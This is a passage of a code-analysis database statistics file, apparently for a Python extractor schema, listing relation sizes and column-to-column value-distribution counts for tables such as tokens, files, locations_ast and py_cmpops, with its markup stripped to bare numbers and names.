+8 +138 + + +8 +11 +105 + + + + + + +equivClass +relativePath + + +12 + + +1 +2 +358 + + +2 +3 +733 + + +3 +4 +216 + + +4 +5 +139 + + +5 +7 +110 + + +7 +10 +127 + + +10 +11 +9 + + + + + + + + +tokens +889686 + + +id +6481 + + +offset +10514 + + +beginLine +9882 + + +beginColumn +1197 + + +endLine +9882 + + +endColumn +1207 + + + + +id +offset + + +12 + + +100 +101 +394 + + +101 +102 +750 + + +102 +103 +347 + + +103 +104 +414 + + +104 +105 +405 + + +105 +107 +528 + + +107 +108 +414 + + +108 +111 +513 + + +111 +117 +555 + + +117 +127 +494 + + +127 +145 +490 + + +145 +176 +487 + + +176 +284 +488 + + +289 +7594 +196 + + + + + + +id +beginLine + + +12 + + +5 +9 +396 + + +9 +10 +299 + + +10 +11 +559 + + +11 +12 +432 + + +12 +13 +598 + + +13 +14 +747 + + +14 +15 +541 + + +15 +17 +564 + + +17 +20 +589 + + +20 +24 +573 + + +24 +28 +526 + + +28 +51 +498 + + +51 +1520 +155 + + + + + + +id +beginColumn + + +12 + + +9 +17 +516 + + +17 +22 +488 + + +22 +31 +563 + + +31 +37 +566 + + +37 +43 +585 + + +43 +46 +472 + + +46 +49 +591 + + +49 +51 +438 + + +51 +54 +571 + + +54 +56 +443 + + +56 +59 +484 + + +59 +68 +524 + + +68 +131 +234 + + + + + + +id +endLine + + +12 + + +5 +9 +396 + + +9 +10 +299 + + +10 +11 +559 + + +11 +12 +432 + + +12 +13 +598 + + +13 +14 +747 + + +14 +15 +541 + + +15 +17 +564 + + +17 +20 +589 + + +20 +24 +573 + + +24 +28 +526 + + +28 +51 +502 + + +51 +1520 +150 + + + + + + +id +endColumn + + +12 + + +10 +18 +450 + + +18 +23 +523 + + +23 +33 +531 + + +33 +39 +495 + + +39 +44 +504 + + +44 +48 +533 + + +48 +51 +544 + + +51 +54 +549 + + +54 +56 +492 + + +56 +58 +458 + + +58 +61 +508 + + +61 +67 +498 + + +67 +133 +391 + + + + + + +offset +id + + +12 + + +2 +3 +6935 + + +4 +5 +693 + + +6 +11 +706 + + +12 +15 +887 + + +16 +93 +790 + + +94 +4682 +499 + + + + + + +offset +beginLine + + +12 + + +2 +3 +6935 + + +4 +5 +693 + + +6 +11 +706 + + +12 +15 +891 + + +16 +91 +789 + + +91 +1817 +497 + + + + + + +offset +beginColumn + + +12 + + +1 +2 +6952 + + +2 +3 +722 + + +3 +5 +674 + + +5 +8 +969 + + +8 +41 +797 + + +41 +169 +397 + + + + + + +offset +endLine + + +12 + + +2 +3 +6935 + + +4 +5 +693 + + +6 +11 +706 + + +12 +15 +891 + + +16 +91 +789 + + +91 +1817 +497 + + + + + + +offset +endColumn + + +12 + + +1 +2 +6973 + + +2 +3 +696 + + +3 +6 +929 + + +6 +9 +801 + + +9 +57 +798 + + +57 +172 +314 + + + + + + +beginLine +id + + +12 + + +1 +2 +1613 + + +2 +3 +1931 + + +3 +4 +987 + + +4 +5 +650 + + +5 +7 +825 + + +7 +9 +744 + + +9 +12 +772 + + +12 +17 +836 + + +17 +37 +749 + + +37 +148 +742 + + +151 +217 +29 + + + + + + +beginLine +offset + + +12 + + +1 +4 +697 + + +4 +8 +882 + + +8 +11 +746 + + +11 +15 +883 + + +15 +20 +801 + + +20 +25 +756 + + +25 +32 +757 + + +32 +42 +743 + + +42 +55 +742 + + +55 +72 +778 + + +72 +98 +747 + + +98 +148 +751 + + +148 +211 +594 + + + + + + +beginLine +beginColumn + + +12 + + +1 +3 +749 + + +3 +6 +686 + + +6 +8 +605 + + +8 +10 +779 + + +10 +12 +733 + + +12 +14 +714 + + +14 +17 +726 + + +17 +21 +880 + + +21 +26 +872 + + +26 +32 +852 + + +32 +40 +810 + + +40 +54 +771 + + +54 +184 +699 + + + + + + +beginLine +endLine + + +12 + + +1 +2 +9740 + + +2 +4 +142 + + + + + + +beginLine +endColumn + + +12 + + +1 +3 +750 + + +3 +6 +666 + + +6 +8 +621 + + +8 +10 +722 + + +10 +12 +720 + + +12 +14 +699 + + +14 +17 +721 + + +17 +21 +890 + + +21 +26 +862 + + +26 +32 +839 + + +32 +40 +794 + + +40 +53 +790 + + +53 +81 +746 + + +81 +185 +56 + + + + + + +beginColumn +id + + +12 + + +1 +2 +389 + + +2 +3 +200 + + +3 +4 +80 + + +4 +7 +105 + + +7 +8 +90 + + +8 +11 +91 + + +11 +45 +91 + + +48 +2322 +90 + + +2328 +3928 +59 + + + + + + +beginColumn +offset + + +12 + + +1 +2 +404 + + +2 +3 +206 + + +3 +4 +65 + + +4 +7 +101 + + +7 +8 +88 + + +8 +11 +94 + + +11 +33 +90 + + +33 +345 +90 + + +360 +2645 +58 + + + + + + +beginColumn +beginLine + + +12 + + +1 +2 +628 + + +2 +3 +204 + + +3 +4 +90 + + +4 +10 +99 + + +10 +750 +90 + + +762 +5047 +84 + + + + + + +beginColumn +endLine + + +12 + + +1 +2 +628 + + +2 +3 +204 + + +3 +4 +90 + + +4 +10 +99 + + +10 +750 +90 + + +762 +5046 +84 + + + + + + +beginColumn +endColumn + + +12 + + +1 +2 +822 + + +2 +3 +152 + + +3 +6 +95 + + +6 +31 +92 + + +31 +99 +34 + + + + + + +endLine +id + + +12 + + +1 +2 +1613 + + +2 +3 +1931 + + +3 +4 +987 + + +4 +5 +652 + + +5 +7 +823 + + +7 +9 +744 + + +9 +12 +772 + + +12 +17 +836 + + +17 +37 +749 + + +37 +148 +742 + + +151 +217 +29 + + + + + + +endLine +offset + + +12 + + +1 +4 +702 + + +4 +8 +876 + + +8 +11 +749 + + +11 +15 +883 + + +15 +20 +801 + + +20 +25 +756 + + +25 +32 +753 + + +32 +42 +744 + + +42 +55 +743 + + +55 +72 +779 + + +72 +98 +746 + + +98 +148 +751 + + +148 +211 +594 + + + + + + +endLine +beginLine + + +12 + + +1 +2 +9734 + + +2 +3 +148 + + + + + + +endLine +beginColumn + + +12 + + +1 +3 +749 + + +3 +6 +685 + + +6 +8 +607 + + +8 +10 +782 + + +10 +12 +728 + + +12 +14 +714 + + +14 +17 +728 + + +17 +21 +880 + + +21 +26 +873 + + +26 +32 +851 + + +32 +40 +810 + + +40 +54 +771 + + +54 +184 +699 + + + + + + +endLine +endColumn + + +12 + + +1 +3 +750 + + +3 +6 +664 + + +6 +8 +625 + + +8 +10 +721 + + +10 +12 +718 + + +12 +14 +702 + + +14 +17 +721 + + +17 +21 +883 + + +21 +26 +862 + + +26 +32 +841 + + +32 +40 +797 + + +40 +53 +792 + + +53 +81 +743 + + +81 +185 +56 + + + + + + +endColumn +id + + +12 + + +1 +2 +391 + + +2 +3 +192 + + +3 +4 +84 + + +4 +7 +102 + + +7 +8 +92 + + +8 +11 +98 + + +11 +47 +91 + + +50 +2174 +91 + + +2189 +4114 +62 + + + + + + +endColumn +offset + + +12 + + +1 +2 +408 + + +2 +3 +193 + + +3 +4 +74 + + +4 +7 +95 + + +7 +8 +85 + + +8 +11 +103 + + +11 +36 +91 + + +37 +353 +91 + + +364 +1140 +62 + + + + + + +endColumn +beginLine + + +12 + + +1 +2 +625 + + +2 +3 +211 + + +3 +4 +84 + + +4 +8 +91 + + +8 +405 +91 + + +414 +3303 +91 + + +3320 +3523 +11 + + + + + + +endColumn +beginColumn + + +12 + + +1 +2 +812 + + +2 +3 +167 + + +3 +8 +95 + + +8 +33 +92 + + +33 +42 +38 + + + + + + +endColumn +endLine + + +12 + + +1 +2 +625 + + +2 +3 +211 + + +3 +4 +84 + + +4 +8 +91 + + +8 +405 +91 + + +414 +3303 +91 + + +3320 +3523 +11 + + + + + + + + +py_codelines +52985 + + +id +52985 + + +count +732 + + + + +id +count + + +12 + + +1 +2 +52985 + + + + + + +count +id + + +12 + + +1 +2 +307 + + +2 +3 +116 + + +3 +4 +59 + + +4 +6 +61 + + +6 +11 +62 + + +11 +28 +57 + + +28 +612 +55 + + +631 +13079 +15 + + + + + + + + +py_commentlines +52983 + + +id +52983 + + +count +198 + + + + +id +count + + +12 + + +1 +2 +52983 + + + + + + +count +id + + +12 + + +1 +2 +78 + + +2 +3 +26 + + +3 +4 +11 + + +4 +6 +16 + + +6 +10 +15 + + +10 +19 +15 + + +19 +48 +15 + + +49 +351 +15 + + +494 +40367 +7 + + + + + + + + +py_docstringlines +52983 + + +id +52983 + + +count +123 + + + + +id +count + + +12 + + +1 +2 +52983 + + + + + + +count +id + + +12 + + +1 +2 +20 + + +2 +3 +11 + + +3 +4 +9 + + +4 +5 +10 + + +5 +8 +11 + + +8 +13 +10 + + +14 +22 +11 + + +22 +29 +10 + + +29 +54 +10 + + +56 +175 +10 + + +232 +5368 +10 + + +36413 +36414 +1 + + + + + + + + +py_alllines +52983 + + +id +52983 + + +count +829 + + + + +id +count + + +12 + + +1 +2 +52983 + + + + + + +count +id + + +12 + + +1 +2 +361 + + +2 +3 +108 + + +3 +4 +68 + + +4 +5 +47 + + +5 +8 +69 + + +8 +17 +65 + + +17 +93 +64 + + +113 +9596 +47 + + + + + + + + +svnentries +100 + + +id +100 + + +revision +100 + + +author +100 + + +revisionDate +100 + + +changeSize +100 + + + + +id +revision + + +12 + + + + + +id +author + + +12 + + + + + +id +revisionDate + + +12 + + + + + +id +changeSize + + +12 + + + + + +revision +id + + +12 + + + + + +revision +author + + +12 + + + + + +revision +revisionDate + + +12 + + + + + +revision +changeSize + + +12 + + + + + +author +id + + +12 + + + + + +author +revision + + +12 + + + + + +author +revisionDate + + +12 + + + + + +author +changeSize + + +12 + + + + + +revisionDate +id + + +12 + + + + + +revisionDate +revision + + +12 + + + + + +revisionDate +author + + +12 + + + + + +revisionDate +changeSize + + +12 + + + + + +changeSize +id + + +12 + + + + + +changeSize +revision + + +12 + + + + + +changeSize +author + + +12 + + + + + +changeSize +revisionDate + + +12 + + + + + + + +svnaffectedfiles +100 + + +id +100 + + +file +100 + + +action +100 + + + + +id +file + + +12 + + + + + +id +action + + +12 + + + + + +file +id + + +12 + + + + + +file +action + + +12 + + + + + +action +id + + +12 + + + + + +action +file + + +12 + + + + + + + +svnentrymsg +100 + + +id +100 + + +message +100 + + + + +id +message + + +12 + + + + + +message +id + + +12 + + + + + + + +svnchurn +100 + + +commit +100 + + +file +100 + + +addedLines +100 + + +deletedLines +100 + + + + +commit +file + + +12 + + + + + +commit +addedLines + + +12 + + + + + +commit +deletedLines + + +12 + + + + + +file +commit + + +12 + + + + + +file +addedLines + + +12 + + + + + +file +deletedLines + + +12 + + + + + +addedLines +commit + + +12 + + + + + +addedLines +file + + +12 + + + + + +addedLines +deletedLines + + +12 + + + + + +deletedLines +commit + + +12 + + + + + +deletedLines +file + + +12 + + + + + +deletedLines +addedLines + + +12 + + + + + + + +files +3066 + + +id +3066 + + +name +3066 + + +simple +1294 + + +ext +1 + + +fromSource +1 + + + + +id +name + + +12 + + +1 +2 +3066 + + + + + + +id +simple + + +12 + + +1 +2 +3066 + + + + + + +id +ext + + +12 + + +1 +2 +3066 + + + + + + +id +fromSource + + +12 + + +1 +2 +3066 + + + + + + +name +id + + +12 + + +1 +2 +3066 + + + + + + +name +simple + + +12 + + +1 +2 +3066 + + + + + + +name +ext + + +12 + + +1 +2 +3066 + + + + + + +name +fromSource + + +12 + + +1 +2 +3066 + + + + + + +simple +id + + +12 + + +1 +2 +1058 + + +2 +3 +132 + + +3 +38 +98 + + +47 +646 +6 + + + + + + +simple +name + + +12 + + +1 +2 +1058 + + +2 +3 +132 + + +3 +38 +98 + + +47 +646 +6 + + + + + + +simple +ext + + +12 + + +1 +2 +1294 + + + + + + +simple +fromSource + + +12 + + +1 +2 +1294 + + + + + + +ext +id + + +12 + + +3066 +3067 +1 + + + + + + +ext +name + + +12 + + +3066 +3067 +1 + + + + + + +ext +simple + + +12 + + +1294 +1295 +1 + + + + + + +ext +fromSource + + +12 + + +1 +2 +1 + + + + + + +fromSource +id + + +12 + + +3066 +3067 +1 + + + + + + +fromSource +name + + +12 + + +3066 +3067 +1 + + + + + + +fromSource +simple + + +12 + + +1294 +1295 +1 + + + + + + +fromSource +ext + + +12 + + +1 +2 +1 + + + + + + + + +folders +686 + + +id +686 + + +name +686 + + +simple +538 + + + + +id +name + + +12 + + +1 +2 +686 + + + + + + +id +simple + + +12 + + +1 +2 +686 + + + + + + +name +id + + +12 + + +1 +2 +686 + + + + + + +name +simple + + +12 + + +1 +2 +686 + + + + + + +simple +id + + +12 + + +1 +2 +481 + + +2 +4 +45 + + +4 +27 +12 + + + + + + +simple +name + + +12 + + +1 +2 +481 + + +2 +4 +45 + + +4 +27 +12 + + + + + + + + +containerparent +3750 + + +parent +685 + + +child +3750 + + + + +parent +child + + +12 + + +1 +2 +53 + + +2 +3 +202 + + +3 +4 +176 + + +4 +5 +57 + + +5 +6 +34 + + +6 +8 +56 + + +8 +13 +54 + + +13 +149 +52 + + +204 +205 +1 + + + + + + +child +parent + + +12 + + +1 +2 +3750 + + + + + + + + +numlines +2553 + + +element_id +2553 + + +num_lines +687 + + +num_code +648 + + +num_comment +193 + + + + +element_id +num_lines + + +12 + + +1 +2 +2553 + + + + + + +element_id +num_code + + +12 + + +1 +2 +2553 + + + + + + +element_id +num_comment + + +12 + + +1 +2 +2553 + + + + + + +num_lines +element_id + + +12 + + +1 +2 +345 + + +2 +3 +129 + + +3 +4 +44 + + +4 +6 +57 + + +6 +11 +54 + + +11 +34 +52 + + +35 +60 +6 + + + + + + +num_lines +num_code + + +12 + + +1 +2 +348 + + +2 +3 +134 + + +3 +4 +46 + + +4 +5 +41 + + +5 +6 +39 + + +6 +9 +60 + + +9 +17 +19 + + + + + + +num_lines +num_comment + + +12 + + +1 +2 +348 + + +2 +3 +134 + + +3 +4 +46 + + +4 +5 +41 + + +5 +6 +39 + + +6 +9 +60 + + +9 +17 +19 + + + + + + +num_code +element_id + + +12 + + +1 +2 +319 + + +2 +3 +110 + + +3 +4 +53 + + +4 +6 +56 + + +6 +11 +54 + + +11 +36 +49 + + +36 +56 +7 + + + + + + +num_code +num_lines + + +12 + + +1 +2 +321 + + +2 +3 +110 + + +3 +4 +62 + + +4 +5 +38 + + +5 +7 +52 + + +7 +10 +51 + + +10 +14 +14 + + + + + + +num_code +num_comment + + +12 + + +1 +2 +321 + + +2 +3 +110 + + +3 +4 +62 + + +4 +5 +38 + + +5 +7 +52 + + +7 +10 +51 + + +10 +14 +14 + + + + + + +num_comment +element_id + + +12 + + +1 +2 +72 + + +2 +3 +29 + + +3 +4 +16 + + +4 +5 +15 + + +5 +8 +12 + + +8 +13 +15 + + +13 +29 +16 + + +30 +98 +15 + + +112 +578 +3 + + + + + + +num_comment +num_lines + + +12 + + +1 +2 +72 + + +2 +3 +29 + + +3 +4 +16 + + +4 +5 +15 + + +5 +8 +12 + + +8 +13 +15 + + +13 +26 +15 + + +27 +75 +16 + + +75 +112 +3 + + + + + + +num_comment +num_code + + +12 + + +1 +2 +72 + + +2 +3 +29 + + +3 +4 +16 + + +4 +5 +15 + + +5 +8 +12 + + +8 +13 +15 + + +13 +26 +15 + + +27 +75 +16 + + +75 +112 +3 + + + + + + + + +locations_default +100 + + +id +100 + + +file +100 + + +beginLine +100 + + +beginColumn +100 + + +endLine +100 + + +endColumn +100 + + + + +id +file + + +12 + + +1 +2 +2 + + + + + + +id +beginLine + + +12 + + +1 +2 +2 + + + + + + +id +beginColumn + + +12 + + +1 +2 +2 + + + + + + +id +endLine + + +12 + + +1 +2 +2 + + + + + + +id +endColumn + + +12 + + +1 +2 +2 + + + + + + +file +id + + +12 + + + + + +file +beginLine + + +12 + + + + + +file +beginColumn + + +12 + + + + + +file +endLine + + +12 + + + + + +file +endColumn + + +12 + + + + + +beginLine +id + + +12 + + + + + +beginLine +file + + +12 + + + + + +beginLine +beginColumn + + +12 + + + + + +beginLine +endLine + + +12 + + + + + +beginLine +endColumn + + +12 + + + + + +beginColumn +id + + +12 + + + + + +beginColumn +file + + +12 + + + + + +beginColumn +beginLine + + +12 + + + + + +beginColumn +endLine + + +12 + + + + + +beginColumn +endColumn + + +12 + + + + + +endLine +id + + +12 + + + + + +endLine +file + + +12 + + + + + +endLine +beginLine + + +12 + + + + + +endLine +beginColumn + + +12 + + + + + +endLine +endColumn + + +12 + + + + + +endColumn +id + + +12 + + + + + +endColumn +file + + +12 + + + + + +endColumn +beginLine + + +12 + + + + + +endColumn +beginColumn + + +12 + + + + + +endColumn +endLine + + +12 + + + + + + + +locations_ast +2310679 + + +id +2310679 + + +module +1527 + + +beginLine +12546 + + +beginColumn +2819 + + +endLine +12539 + + +endColumn +2939 + + + + +id +module + + +12 + + +1 +2 +2310679 + + + + + + +id +beginLine + + +12 + + +1 +2 +2310679 + + + + + + +id +beginColumn + + +12 + + +1 +2 +2310679 + + + + + + +id +endLine + + +12 + + +1 +2 +2310679 + + + + + + +id +endColumn + + +12 + + +1 +2 +2310679 + + + + + + +module +id + + +12 + + +1 +2 +288 + + +2 +30 +114 + + +30 +159 +114 + + +159 +276 +114 + + +279 +427 +116 + + +434 +716 +114 + + +719 +1003 +114 + + +1007 +1409 +116 + + +1426 +1860 +114 + + +1862 +2782 +114 + + +2798 +5578 +114 + + +5667 +58828 +87 + + + + + + +module +beginLine + + +12 + + +1 +2 +288 + + +2 +17 +116 + + +17 +42 +114 + + +42 +72 +116 + + +72 +113 +116 + + +114 +165 +116 + + +167 +231 +116 + + +232 +314 +114 + + +314 +411 +114 + + +413 +634 +114 + + +640 +1326 +114 + + +1326 +6932 +83 + + + + + + +module +beginColumn + + +12 + + +1 +2 +288 + + +2 +7 +114 + + +7 +29 +117 + + +29 +41 +119 + + +41 +49 +126 + + +49 +56 +137 + + +56 +60 +110 + + +60 +64 +123 + + +64 +68 +117 + + +68 +74 +127 + + +74 +91 +116 + + +91 +1405 +29 + + + + + + +module +endLine + + +12 + + +1 +2 +288 + + +2 +17 +117 + + +17 +43 +119 + + +44 +74 +121 + + +74 +117 +114 + + +117 +173 +114 + + +173 +238 +114 + + +238 +322 +114 + + +326 +421 +114 + + +421 +666 +116 + + +668 +1461 +114 + + +1472 +6948 +74 + + + + + + +module +endColumn + + +12 + + +1 +2 +288 + + +2 +18 +116 + + +18 +45 +114 + + +45 +59 +130 + + +59 +65 +131 + + +65 +69 +108 + + +69 +72 +109 + + +72 +75 +114 + + +75 +79 +121 + + +79 +86 +120 + + +86 +99 +120 + + +99 +1425 +51 + + + + + + +beginLine +id + + +12 + + +1 +8 +783 + + +8 +11 +960 + + +11 +15 +1027 + + +15 +20 +1012 + + +20 +27 +1050 + + +27 +36 +995 + + +36 +49 +1003 + + +49 +66 +977 + + +66 +107 +951 + + +107 +170 +949 + + +170 +297 +947 + + +297 +636 +941 + + +637 +2279 +941 + + +2283 +2351 +2 + + + + + + +beginLine +module + + +12 + + +1 +2 +1188 + + +2 +3 +1761 + + +3 +4 +510 + + +4 +5 +792 + + +5 +6 +792 + + +6 +9 +1114 + + +9 +11 +726 + + +11 +14 +1084 + + +14 +25 +955 + + +25 +42 +942 + + +42 +71 +976 + + +71 +177 +942 + + +177 +1104 +758 + + + + + + +beginLine +beginColumn + + +12 + + +1 +6 +995 + + +6 +8 +486 + + +8 +9 +780 + + +9 +11 +1091 + + +11 +13 +952 + + +13 +16 +1093 + + +16 +19 +954 + + +19 +23 +1128 + + +23 +29 +954 + + +29 +38 +972 + + +38 +47 +980 + + +47 +59 +976 + + +59 +75 +984 + + +75 +542 +196 + + + + + + +beginLine +endLine + + +12 + + +1 +2 +3511 + + +2 +3 +3490 + + +3 +4 +1501 + + +4 +5 +767 + + +5 +7 +1110 + + +7 +10 +988 + + +10 +17 +1010 + + +17 +51 +166 + + + + + + +beginLine +endColumn + + +12 + + +1 +5 +672 + + +5 +7 +785 + + +7 +9 +868 + + +9 +12 +1028 + + +12 +16 +1156 + + +16 +20 +952 + + +20 +25 +1052 + + +25 +30 +983 + + +30 +40 +1003 + + +40 +52 +959 + + +52 +64 +1026 + + +64 +74 +951 + + +74 +89 +965 + + +89 +546 +141 + + + + + + +beginColumn +id + + +12 + + +1 +2 +1542 + + +2 +3 +877 + + +3 +5 +213 + + +5 +250154 +185 + + + + + + +beginColumn +module + + +12 + + +1 +2 +2376 + + +2 +3 +238 + + +3 +1104 +204 + + + + + + +beginColumn +beginLine + + +12 + + +1 +2 +1542 + + +2 +3 +882 + + +3 +6 +220 + + +6 +7984 +174 + + + + + + +beginColumn +endLine + + +12 + + +1 +2 +1542 + + +2 +3 +882 + + +3 +6 +220 + + +6 +7972 +174 + + + + + + +beginColumn +endColumn + + +12 + + +1 +2 +2295 + + +2 +3 +304 + + +3 +114 +211 + + +120 +161 +6 + + + + + + +endLine +id + + +12 + + +1 +8 +793 + + +8 +11 +965 + + +11 +15 +996 + + +15 +20 +1005 + + +20 +27 +1056 + + +27 +36 +1016 + + +36 +49 +981 + + +49 +65 +966 + + +65 +106 +956 + + +106 +169 +951 + + +169 +295 +947 + + +295 +626 +941 + + +627 +2214 +941 + + +2217 +2349 +19 + + + + + + +endLine +module + + +12 + + +1 +2 +1210 + + +2 +3 +1754 + + +3 +4 +526 + + +4 +5 +797 + + +5 +6 +760 + + +6 +9 +1109 + + +9 +11 +732 + + +11 +14 +1078 + + +14 +25 +947 + + +25 +42 +956 + + +42 +70 +942 + + +70 +170 +941 + + +170 +1104 +782 + + + + + + +endLine +beginLine + + +12 + + +1 +2 +4048 + + +2 +3 +3046 + + +3 +4 +1345 + + +4 +5 +851 + + +5 +7 +1021 + + +7 +10 +1010 + + +10 +17 +1010 + + +17 +34 +203 + + + + + + +endLine +beginColumn + + +12 + + +1 +6 +999 + + +6 +9 +1140 + + +9 +11 +1056 + + +11 +13 +933 + + +13 +16 +1154 + + +16 +19 +992 + + +19 +23 +1129 + + +23 +29 +999 + + +29 +38 +981 + + +38 +47 +983 + + +47 +59 +985 + + +59 +75 +988 + + +75 +542 +192 + + + + + + +endLine +endColumn + + +12 + + +1 +6 +1045 + + +6 +8 +1010 + + +8 +11 +1073 + + +11 +14 +933 + + +14 +18 +1055 + + +18 +23 +1084 + + +23 +28 +1020 + + +28 +36 +984 + + +36 +48 +999 + + +48 +60 +991 + + +60 +70 +959 + + +70 +84 +963 + + +84 +547 +418 + + + + + + +endColumn +id + + +12 + + +1 +2 +1505 + + +2 +3 +972 + + +3 +5 +227 + + +5 +41083 +221 + + +42453 +55223 +13 + + + + + + +endColumn +module + + +12 + + +1 +2 +2435 + + +2 +3 +264 + + +3 +782 +221 + + +782 +1104 +18 + + + + + + +endColumn +beginLine + + +12 + + +1 +2 +1606 + + +2 +3 +902 + + +3 +6 +228 + + +6 +6777 +202 + + + + + + +endColumn +beginColumn + + +12 + + +1 +2 +2250 + + +2 +3 +408 + + +3 +56 +221 + + +56 +79 +59 + + + + + + +endColumn +endLine + + +12 + + +1 +2 +1606 + + +2 +3 +902 + + +3 +6 +228 + + +6 +6726 +202 + + + + + + + + +py_module_path +3066 + + +module +3066 + + +file +3066 + + + + +module +file + + +12 + + +1 +2 +3066 + + + + + + +file +module + + +12 + + +1 +2 +3066 + + + + + + + + +file_contents +100 + + +file +3066 + + +contents +100 + + + + +file +contents + + +12 + + +1 +2 +100 + + + + + + +contents +file + + +12 + + +1 +2 +100 + + + + + + + + +variable +242770 + + +id +242770 + + +scope +50174 + + +name +54891 + + + + +id +scope + + +12 + + +1 +2 +242770 + + + + + + +id +name + + +12 + + +1 +2 +242770 + + + + + + +scope +id + + +12 + + +1 +2 +10764 + + +2 +3 +14394 + + +3 +4 +7657 + + +4 +5 +4580 + + +5 +6 +2991 + + +6 +9 +4606 + + +9 +22 +3819 + + +22 +233 +1360 + + + + + + +scope +name + + +12 + + +1 +2 +10764 + + +2 +3 +14394 + + +3 +4 +7657 + + +4 +5 +4580 + + +5 +6 +2991 + + +6 +9 +4606 + + +9 +22 +3819 + + +22 +233 +1360 + + + + + + +name +id + + +12 + + +1 +2 +36525 + + +2 +3 +8506 + + +3 +5 +4396 + + +5 +20 +4134 + + +20 +10542 +1327 + + + + + + +name +scope + + +12 + + +1 +2 +36525 + + +2 +3 +8506 + + +3 +5 +4396 + + +5 +20 +4134 + + +20 +10542 +1327 + + + + + + + + +py_line_lengths +100 + + +id +100 + + +file +100 + + +line +100 + + +length +100 + + + + +id +file + + +12 + + +1 +2 +2 + + + + + + +id +line + + +12 + + +1 +2 +2 + + + + + + +id +length + + +12 + + +1 +2 +2 + + + + + + +file +id + + +12 + + + + + +file +line + + +12 + + + + + +file +length + + +12 + + + + + +line +id + + +12 + + + + + +line +file + + +12 + + + + + +line +length + + +12 + + + + + +length +id + + +12 + + + + + +length +file + + +12 + + + + + +length +line + + +12 + + + + + + + +py_Classes +10244 + + +id +10244 + + +parent +10244 + + + + +id +parent + + +12 + + +1 +2 +10244 + + + + + + +parent +id + + +12 + + +1 +2 +10244 + + + + + + + + +py_Functions +44860 + + +id +44860 + + +parent +44860 + + + + +id +parent + + +12 + + +1 +2 +44860 + + + + + + +parent +id + + +12 + + +1 +2 +44860 + + + + + + + + +py_Modules +5983 + + +id +5983 + + + + + +py_extracted_version +3337 + + +module +3337 + + +version +1 + + + + +module +version + + +12 + + +1 +2 +3337 + + + + + + +version +module + + +12 + + +3337 +3338 +1 + + + + + + + + +py_StringParts +6399 + + +id +6399 + + +parent +2296 + + +idx +62 + + + + +id +parent + + +12 + + +1 +2 +6399 + + + + + + +id +idx + + +12 + + +1 +2 +6399 + + + + + + +parent +id + + +12 + + +2 +3 +1598 + + +3 +4 +380 + + +4 +5 +142 + + +5 +63 +176 + + + + + + +parent +idx + + +12 + + +2 +3 +1598 + + +3 +4 +380 + + +4 +5 +142 + + +5 +63 +176 + + + + + + +idx +id + + +12 + + +4 +5 +17 + + +5 +6 +23 + + +6 +9 +5 + + +9 +14 +5 + + +16 +59 +5 + + +72 +699 +5 + + +2296 +2297 +2 + + + + + + +idx +parent + + +12 + + +4 +5 +17 + + +5 +6 +23 + + +6 +9 +5 + + +9 +14 +5 + + +16 +59 +5 + + +72 +699 +5 + + +2296 +2297 +2 + + + + + + + + +py_StringPart_lists +2296 + + +id +2296 + + +parent +2296 + + + + +id +parent + + +12 + + +1 +2 +2296 + + + + + + +parent +id + + +12 + + +1 +2 +2296 + + + + + + + + +py_aliases +21374 + + +id +21374 + + +parent +14396 + + +idx +110 + + + + +id +parent + + +12 + + +1 +2 +21374 + + + + + + +id +idx + + +12 + + +1 +2 +21374 + + + + + + +parent +id + + +12 + + +1 +2 +11488 + + +2 +3 +1597 + + +3 +7 +1116 + + +7 +111 +195 + + + + + + +parent +idx + + +12 + + +1 +2 +11488 + + +2 +3 +1597 + + +3 +7 +1116 + + +7 +111 +195 + + + + + + +idx +id + + +12 + + +1 +2 +21 + + +2 +3 +2 + + +3 +4 +30 + + +4 +5 +4 + + +5 +6 +9 + + +6 +9 +10 + + +9 +15 +8 + + +18 +32 +9 + + +36 +113 +9 + + +142 +14397 +8 + + + + + + +idx +parent + + +12 + + +1 +2 +21 + + +2 +3 +2 + + +3 +4 +30 + + +4 +5 +4 + + +5 +6 +9 + + +6 +9 +10 + + +9 +15 +8 + + +18 +32 +9 + + +36 +113 +9 + + +142 +14397 +8 + + + + + + + + +py_alias_lists +14396 + + +id +14396 + + +parent +14396 + + + + +id +parent + + +12 + + +1 +2 +14396 + + + + + + +parent +id + + +12 + + +1 +2 +14396 + + + + + + + + +py_arguments +41982 + + +id +41982 + + +parent +41982 + + + + +id +parent + + +12 + + +1 +2 +41982 + + + + + + +parent +id + + +12 + + +1 +2 +41982 + + + + + + + + +py_bools +26986 + + +parent +26986 + + +idx +3 + + + + +parent +idx + + +12 + + +1 +2 +26986 + + + + + + +idx +parent + + +12 + + +964 +965 +1 + + +3487 +3488 +1 + + +22535 +22536 +1 + + + + + + + + +py_boolops +10907 + + +id +10907 + + +kind +2 + + +parent +10907 + + + + +id +kind + + +12 + + +1 +2 +10907 + + + + + + +id +parent + + +12 + + +1 +2 +10907 + + + + + + +kind +id + + +12 + + +2646 +2647 +1 + + +5231 +5232 +1 + + + + + + +kind +parent + + +12 + + +2646 +2647 +1 + + +5231 +5232 +1 + + + + + + +parent +id + + +12 + + +1 +2 +10907 + + + + + + +parent +kind + + +12 + + +1 +2 +10907 + + + + + + + + +py_bytes +211200 + + +id +48658 + + +parent +105600 + + +idx +2 + + + + +id +parent + + +12 + + +1 +2 +37453 + + +2 +3 +6003 + + +3 +8 +3791 + + +8 +71667 +1411 + + + + + + +id +idx + + +12 + + +1 +2 +48644 + + +2 +3 +14 + + + + + + +parent +id + + +12 + + +1 +2 +14 + + +2 +3 +105586 + + + + + + +parent +idx + + +12 + + +2 +3 +105600 + + + + + + +idx +id + + +12 + + +14 +15 +1 + + +48658 +48659 +1 + + + + + + +idx +parent + + +12 + + +105600 +105601 +2 + + + + + + + + +py_cmpops +38007 + + +id +38007 + + +kind +29 + + +parent +37666 + + +idx +8 + + + + +id +kind + + +12 + + +1 +2 +38007 + + + + + + +id +parent + + +12 + + +1 +2 +38007 + + + + + + +id +idx + + +12 + + +1 +2 +38007 + + + + + + +kind +id + + +12 + + +380 +381 +2 + + +440 +441 +2 + + +563 +564 +2 + + +615 +616 +2 + + +673 +674 +2 + + +1027 +1028 +2 + + +1529 +1530 +2 + + +1597 +1598 +2 + + +2144 +2145 +2 + + +3828 +3829 +2 + + + + + + +kind +parent + + +12 + + +317 +318 +2 + + +439 +440 +2 + + +563 +564 +2 + + +612 +613 +2 + + +669 +670 +2 + + +1027 +1028 +2 + + +1529 +1530 +2 + + +1597 +1598 +2 + + +2144 +2145 +2 + + +3819 +3820 +2 + + + + + + +kind +idx + + +12 + + +1 +2 +11 + + +2 +3 +14 + + +3 +4 +2 + + + + + + +parent +id + + +12 + + +1 +2 +37330 + + +2 +4 +335 + + + + + + 